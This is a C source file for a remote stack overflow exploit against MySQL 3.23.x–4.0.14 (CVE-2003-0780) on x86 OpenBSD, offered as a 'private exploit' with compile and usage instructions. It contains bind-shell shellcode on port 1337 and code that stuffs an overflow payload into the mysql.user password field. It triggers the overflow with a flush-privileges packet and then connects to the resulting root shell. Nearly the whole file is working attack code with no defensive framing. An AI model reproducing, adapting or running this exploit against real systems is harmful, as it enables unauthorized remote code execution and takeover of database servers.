/*
 * Private Exploit !!! 
 * cve-2003-0780 -  mysql 3.23.x - 4.0.14 remote stack overflow exploit for x86 openbsd
 * The original private exploit code was written in 2003 and was patched in 2026.
 * Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
 * Compile this exploit in openbsd or freebsd or linux distro from 2002-2004 !!!
 *
 * compile from linux (2002-2004 distro): 
 * gcc -o exploit exploit.c -I/usr/local/mysql/include -L/usr/local/mysql/lib/mysql -lmysqlclient
 *
 * compile from openbsd (2002-2004) :
 * gcc -o exploit exploit.c -I/usr/local/mysql/include -L/usr/local/mysql/lib/mysql -lmysqlclient -lm
 *
 * run : ./exploit <host> <user> <pass>
 * e.g : 
 * ./exploit 192.168.0.1 root test123
 * ./exploit 192.168.1.1 root test123
 *
 * supported target :
 * openbsd 3.0
 * (c) solhack 2002-now - all rights reserved
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netdb.h>
#include <netinet/in.h>
#include <mysql/mysql.h>
#define PAD     744
#define BUF     2048
MYSQL *conn;
/*
94 bytes private bind shell 1337 shellcode for x86 openbsd
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char code[] =
"\x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x96\x31\xc9"
"\x51\x66\x68\x05\x39\x66\x6a\x02\x89\xe2\x6a\x10\x52\x56\x51"
"\x6a\x68\x58\xcd\x80\x6a\x01\x56\x50\xb0\x6a\xcd\x80\x50\x50"
"\x56\x50\xb0\x1e\xcd\x80\x93\x6a\x02\x59\x51\x53\x51\x6a\x5a"
"\x58\xcd\x80\x49\x79\xf5\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe2\x51\x52\x53\x51\x6a"
"\x3b\x58\xcd\x80"
"\x90\x90";  /* pad to 96 = 24 x 4 */

void banner() {
printf(
"   ____  ____  _______   ______ _____ ____     _______  __ ____  __    ____  __________\n"
"  / __ \\/ __ \\/ ____/ | / / __ ) ___// __ \\   / ____/ |/ // __ \\/ /   / __ \\/  _/_  __/\n"
" / / / / /_/ / __/ /  |/ / __  \\__ \\/ / / /  / __/  |   // /_/ / /   / / / // /  / /   \n"
"/ /_/ / ____/ /___/ /|  / /_/ /__/ / /_/ /  / /___ /   |/ ____/ /___/ /_/ // /  / /    \n"
"\\____/_/   /_____/_/ |_/_____/____/_____/  /_____//_/|_/_/   /_____/\\____/___/ /_/     \n\n");    
    
    printf(
    "\n=====================================================\n"
    "    cve-2003-0780 - private rce exploit for x86 openbsd\n"
    "    mysql 3.23.x - 4.0.14 remote stack overflow exploit\n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    2003 and was patched in 2026.                      \n"
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    Supported target : x86 openbsd 3.0                 \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  =====================================================\n\n");
}

void usage() {
    printf("./exploit <host> <user> <pass>\n");
    exit(1);
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

void die(char *msg) {
    fprintf(stderr, "[-] %s: %s\n", msg, mysql_error(conn));
    mysql_close(conn);
    exit(1);
}

int main(int argc, char **argv) {
    char buffer[BUF], buf2[1200], muser[20];
    struct sockaddr_in peer;
    int i, j, clifd, n;
    fd_set fds;
    unsigned int eip;
    MYSQL_RES *res;
    MYSQL_ROW row;

    banner();
    if (argc < 4) {
        usage();
        return 1;
    }
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, argv[1], argv[2], argv[3], "mysql", 3306, NULL, 0)) {
        printf("[-] connect failed: %s\n", mysql_error(conn));
        return 1;
    }
    printf("[+] connected to %s as %s\n", argv[1], argv[2]);
    if (mysql_real_query(conn, "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT", strlen("ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT")))
        die("alter");
    printf("[+] altered password column\n");
    if (mysql_real_query(conn, "SELECT user FROM mysql.user LIMIT 1",
        strlen("SELECT user FROM mysql.user LIMIT 1")))
        die("select");
    res = mysql_store_result(conn);
    row = mysql_fetch_row(res);
    snprintf(muser, sizeof(muser), "%s", row[0]);
    mysql_free_result(res);
    printf("[+] target user: %s\n", muser);
    eip = 0x00a40a10;
    memset(buf2, 0, sizeof(buf2));
    for (i = 0; i < PAD; i += 8)
        sprintf(buf2 + i, "%08x", eip);
    sprintf(buf2 + PAD, "%08x", eip);
    for (i = 0; i < 64; i += 2)
        memcpy(buf2 + PAD + 8 + i, "90", 2);
    for (i = 0; i < sizeof(code)-1; i += 4)
        sprintf(buf2 + PAD + 8 + 64 + i*2, "%02x%02x%02x%02x", code[i+3], code[i+2], code[i+1], code[i]);
    j = PAD + 8 + 64 + (sizeof(code)-1)*2;
    while (j < PAD + 8 + 320) { 
        memcpy(buf2 + j, "90", 2); 
        j += 2; 
    }
    j = strlen(buf2);
    if (j % 8) { 
        n = (j/8+1)*8 - j; 
        memset(buf2+j, '0', n); 
    }
    printf("[+] password updated\n");
    i = sprintf(buffer, "update user set password='");
    memcpy(buffer+i, buf2, strlen(buf2));
    i += strlen(buf2);
    i += sprintf(buffer+i, "' where user='%s'", muser);
    if (mysql_real_query(conn, buffer, i))
        die("update");
    /* find socket fd */
    j = sizeof(peer);
    for (clifd = 3; clifd < 256; clifd++) {
        if (getpeername(clifd, (struct sockaddr *)&peer, &j) == -1) 
            continue;
        if (peer.sin_port == htons(3306)) 
            break;
    }
    if (clifd == 256) { 
        printf("[-] socket not found\n"); 
        return 1; 
    }
    printf("[+] socket fd: %d\n", clifd);
    send(clifd, "\x11\x00\x00\x00\x03" "flush privileges", 21, 0);
    printf("[+] flush sent\n");
    send(clifd, "I", 1, MSG_OOB);
    puts("[!] sleeping for 2 seconds ... please wait ...");
    sleep(2);
    shell(argv[1], 1337);

    return 0;
}
